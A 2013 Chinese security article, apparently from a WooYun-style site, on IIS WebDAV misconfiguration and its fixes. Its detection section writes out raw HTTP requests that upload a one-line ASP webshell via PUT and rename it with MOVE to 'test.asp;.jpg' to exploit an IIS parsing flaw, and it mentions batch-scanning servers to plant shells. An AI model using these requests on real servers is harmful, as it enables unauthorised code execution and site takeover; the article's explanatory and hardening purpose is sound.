IIS WebDAV安全配置
瞌睡龙 · 2013/07/15 16:31
0x00 简介
WebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法。
使应用程序可直接对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。
IIS实现Webdav是采用的其两种接口CGI、ISAPI的ISAPI接口。
但因为其没有采用影射的方式,所以IIS的主程序w3svc.dll本身包含了Webdav的信息。
其识别出是Webdav的请求后就调用Webdav的处理模块httpext.dll。
对于常见几种请求方法GET、HEAD、POST
等,因为常见一些映射都支持。
所以不能以请求方法作为Webdav请求的判断,w3svc.dll就根据请求头的字段识别。
如果请求头里面包含Translate:
、If:
、Lock-Token:
中的一种,就认为是Webdav的请求。
Translate:
就是那个Translate:f
的泄露源代码的一个请求头,其实设置别的两个也是一样的。
可能很多IDS是没有这点知识的。W3svc.dll还内置了几个别的请求方法TRACK
、TRACE
等。
TRACK
就是用于调试错误的,如果收到这样的请求头,w3svc.dll会原样返回请求数据。
相当于我们常见的ping.exe。
IIS对TRACK
请求没有进行LOG记录,这点我们可以用于来获得banner。
对于IIS将优于大家习惯使用的HEAD
。
如果上面的请求方法没匹配,那么w3svc.dll就会认为是Webdav的请求,交给httpext.dll处理了。
这些请求包含Webdav支持的PROPFIND
、PROPPATCH
、MKCOL
、DELETE
、PUT
、COPY
、MOVE
、LOCK
、UNLOCK
等。
0x01 配置
为了安全上的考虑,IIS默认并不会启动WebDAV的功能,因此必须另外来激活它。
通过启动“IIS管理器”,展开本地计算机,选择“Web服务扩展”,选择“允许”的途径来启动WebDAV功能。
开启WebDAV之后,IIS就支持PROPFIND
、PROPPATCH
、MKCOL
、DELETE
、PUT
、COPY
、MOVE
、LOCK
、UNLOCK
等方法了。
当IIS中的配置允许写入的时候就可以直接PUT文件上去,由此可能引发非常严重的安全问题,强烈建议禁制
0x02 危害
当开启了WebDAV后,IIS中又配置了目录可写,便会产生很严重的问题。 wooyun上由此配置产生的问题很多,并且有老外黑了一群中国政府站有一部分就是由于此配置。 危害巨大,操作简单,直接批量扫描,上传shell。
WooYun: 闪动科技webserver配置不当可取shell
WooYun: 瑞达信息安全产业股份有限公司IIS写入漏洞
WooYun: 海航webdav漏洞导致服务器沦陷
WooYun: 阿里某邮件系统服务器配置不当
WooYun: 国家某局某文件系统存在严重安全问题
WooYun: 国内某大型风电工控系统应用配置失误
0x03 查找存在问题的服务器
对服务器发送OPTION包:
OPTIONS / HTTP/1.1
Host: www.test.com
复制代码
返回响应头如下:
HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
Cache-Control: private
复制代码
当ALLOW中包含如上方法时,可以确定服务器开启了WebDAV。
此时可以用PUT上传文件,但是不可以直接上传可执行脚本文件,可以先上传一个其他类型的文件,然后MOVE成脚本文件。
PUT /test.txt HTTP/1.1
Host: www.test.com
Content-Length: 23<%eval request("a")%>
复制代码
启用了“WebDAV”扩展,并且复选了“写入”,就可以写入txt文件了。要想使用MOVE命令将其更名为脚本文件后缀,必须还复选上“脚本资源访问”。
但是发现利用IIS的解析漏洞,可以MOVE成test.asp;.jpg
,然后就可以当做shell来执行了
MOVE /test.txt HTTP/1.1
Host: www.test.com
Destination: http://www.test.com/test.asp;.jpg
复制代码
有一个开源的DAV管理工具,使用工具直接查看:
www.davexplorer.org/download.ht…
0x03 修复方案
1 禁用WebDAV。
通常情况下网站不需要支持额外的方法,右键WebDAV,点击禁用即可。
2 如果要使用WebDAV的话,加上权限验证。
如果选取“脚本资源访问”,则用户将具备修改WebADV文件夹内的脚本文说明件(scriptfile)的功能。
除了此处的虚拟目录权限外,还需要视NTFS权限,才可以决定用户是否有权限来访问WebDAV文件夹内的文件。
WebDAV文件夹的NTFS权限给予用户适当的NTFS权限。
首先请设置让Everyone组只有“读取”的权限,然后再针对个别用户给予“写入”的权限,例如我们给予用户“User”写入的权限。
选择验证用户身份的方法启动“IIS管理器”,然后右击WebDAV虚拟目录,选择“属性”→“目录安全性”,单击“身份验证和访问控制”处的编辑按钮。
不要选取“启用匿名访问”,以免招致攻击。选择安全的验证方法,选择“集成Windows身份验证”。
参考:
hi.baidu.com/yuange1975/…
www.daxigua.com/archives/15…
www.daxigua.com/archives/27…
www.daxigua.com/archives/27…
http:[email protected]/blog/static/4116699420123261427232/
IIS WebDAV安全配置相关推荐
- 【小迪实地】Webdav安全配置相关与漏洞利用
0x00 简介 WebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1,在GET.POST.HEAD等几个HTTP标准方法以外添加了一些新的方法. 使应用程序可直接对Web ...
- 如何在Web服务器IIS 6上配置PHP平台
我以前一直用的是LAMP,虽然 LAMP 组合很不错,但是如果想要架设一台同时支持 PHP.ASP.ASP.NET.JSP.Perl 的 Web 虚拟主机服务器,还是用 Windows 2003 的 ...
- IIS 7.5 配置伪静态方法
之前在IIS 6.0 配置过伪静态:httpHandler实现.Net无后缀名Web访问.现在服务器硬件升级了,操作系统也升级成了Windows Server 2008,好吧.我们也来设置下IIS 7 ...
- iis服务器怎样配置多张证书,IIS配置多个ssl怎么做?怎么配置?
给服务器添加配置SSL证书是很有必要的,这个也是当下众多网站的一个选择,给网站安装配置了SSL证书之后,网站的安全性也被提升了,这样网站的地址也是值得大家去信赖的,不过不同的网站他们在配置SSL证书的 ...
- 2008php多版本共存,ECS Windows 2008 IIS如何同时配置多版本的php
ECS Windows 2008 IIS如何同时配置多版本的php Windows可以通过IIS下安装PHP Manager工具让IIS可以同时支持多版本的php,具体步骤如下所示: 1.首先需要下载 ...
- IIS的安全配置策略
IIS的安全配置策略<?XML:NAMESPACE PREFIX = O /> 因为IIS(即Internet Information Server)的方便性和易用性,使它成为最受欢迎的W ...
- iis php5.4配置_PHP5.4 + IIS + Win2008 R2 配置
新发布的php5.4需要采用FastCGI模式在IIS上配置,原来的php5isapi.dll已经找不到了.添加IIS: 服务器管理器--添加角色--勾选web服务器(iis): 角色服务这里把应用程 ...
- 手动配置 iis php环境,iis上手动配置php
iis下手动配置php 指定php.ini目录(配后要重启才生效) 打开"我的电脑"->"属性"->"高级"->" ...
- iis日志字段解析 网站运维工具使用iis日志分析工具分析iis日志(iis日志的配置)
网站运维工具使用iis日志分析工具分析iis日志(iis日志的配置) https://www.cnblogs.com/fuqiang88/p/5870306.html 我们只能通过各种系统日志来分析网 ...
最新文章
- 如何更快速加载你的JS页面
- Stanford Machine Learning
- HTML5的touch事件
- scala方法中的变量_Scala中的变量
- android sdk与adt版本,eclipse中sdk与adt版本不兼容该怎么解决? 三种方法帮你搞定
- Unity Invoke 函数调用
- Web 前端开发精华文章推荐(jQuery、HTML5、CSS3)【系列十四】
- save cookies and get cookies in system using asp.net
- Atitit.常用的gc算法
- 适配ofd签章SES_CertList
- UnReal与Unity游戏引擎对比分析
- 考研高危人群!你是否还在危险的边缘试探?
- 基桩静荷载测试数据分析软件,静荷载基桩检测原理及应用技术
- 无需翻墙使用ChatGPT-4
- 三、运算符 | Verilog
- java鱼雷3的几何_WFP:Geometries几何图形集合--Geometry几何图形(3)
- android存储pdf文件怎么打开,android打开pdf文件
- 各国海关单证有哪些要求?
- Ubuntu php安装过程,Ubuntu下Apache+PHP+MySQL安装过程详解
- Torchtext快速入门(一)——Vocab
热门文章
- vimdiff及vim split
- 服务器主板开关电源维修,个人经验:开关电源不通电的修复
- 原生微信小程序实现号码隐藏,用****代替
- python搜索文献 速成_0基础5天速成Python,你也能发top期刊
- 清华、复旦、武大……全国近30所高校,超200位学子将相聚世界区块链大会·武汉高校分论坛...
- 机器学习 之 生成式模型 VS 判别式模型
- 微粒化运营:升级内容产业消费体验(附视频版)
- 首批最佳骑行路线揭晓
- 哪些服务器支持 9200系列CPU,核心暴增、修复漏洞:intel 英特尔 发布 Xeon Platinum 9200和8200系列 处理器...
- 推荐系统论文重要的三个指标——Recall、NDCG、RMSE